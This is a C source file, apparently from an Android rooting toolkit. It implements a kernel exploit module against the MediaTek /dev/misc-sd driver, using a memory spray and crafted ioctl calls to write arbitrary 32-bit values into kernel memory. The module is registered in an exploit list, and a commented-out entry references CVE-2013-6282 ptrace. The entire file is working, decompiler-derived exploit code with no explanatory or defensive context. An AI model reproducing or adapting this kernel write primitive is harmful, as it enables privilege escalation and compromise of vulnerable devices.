#include "exploit.h"
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include "log.h"
#include "util.h"

struct misc_sd {
    char v7[4]; // [sp+7D0h] [bp-80h]@4
    unsigned int v8; // [sp+7D8h] [bp-78h]@7
    int v9[5]; // [sp+7DCh] [bp-74h]@7
    int v10[2]; // [sp+7F0h] [bp-60h]@7
    int v11[2]; // [sp+7F8h] [bp-58h]@7
    int v12[11]; // [sp+800h] [bp-50h]@7
};
static int miscsd_init(void **opaque) {
	  int fd;
	  fd = open("/dev/misc-sd", 0);
	  if (fd != -1) {
		  *(int*)opaque = fd;
		  return 0;
	  } else {
		  return -1;
	  }
}

static void miscsd_free(void **opaque) {
	int fd = *(int*)opaque;
	close(fd);
    *opaque = 0;
}

static int miscsd_write32(void *opaque, long addr, long val) {
	int fd = (int)opaque;
    int result; // r0@1
    int *v2; // r0@2
    unsigned int v6[500]; // [sp+4h] [bp-84Ch]@1
    struct misc_sd v7;
    int shellcode; // [sp+82Ch] [bp-24h]@1
    int i;

    shellcode = 0;
    memset(v6, 0, sizeof(v6));
	v2 = malloc(0x8000000);
	if (v2) {
		memset4(v6, (unsigned int)5, 500);
		memset4(v2, (unsigned int)&v6, 0x2000000);
		shellcode = val;
		v6[0] = addr - 4;
		memset(&v7, 0, 0x58);
		v7.v9[0] = 1;
		v7.v8 = ((unsigned int) ((char *) v2 + 0x40000004) & 0xFFFFFFFB) >> 2;
		v7.v12[0] = (unsigned char)shellcode;
		v7.v10[0] = (unsigned char)((unsigned int)shellcode >> 0x8);
		v7.v11[0] = (unsigned char)((unsigned int)shellcode >> 0x10);
		if (ioctl(fd, 0, &v7) == -1) {
			free(v2);
			result = -1;
		} else {
			v6[0] = addr - 2;
			v7.v12[0] = (unsigned char)((unsigned int)shellcode >> 0x10);
			v7.v10[0] = (unsigned char)((unsigned int)shellcode >> 0x18);
			if (ioctl(fd, 0, &v7) == -1) {
				free(v2);
				result = -1;
			} else {
				free(v2);
				result = 0;
			}
		}
	} else {
		result = -1;
	}
    return result;
}

exploit_t EXPLOIT_mtk_misc_sd = {
    .name = "miscsd",
    .flags = EXPLOIT_POKE_TEXT,
    .init = miscsd_init,
    .free = miscsd_free,
    .write32 = miscsd_write32,
};



void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(mtk_misc_sd);

//    switch (g_type) {
//
//    case S_2013_6282_1:
//    	ADDEXP(cve_2013_6282_ptrace);
//    	break;
//
//    default:
//    	break;
//    }

    *list = exp;
}
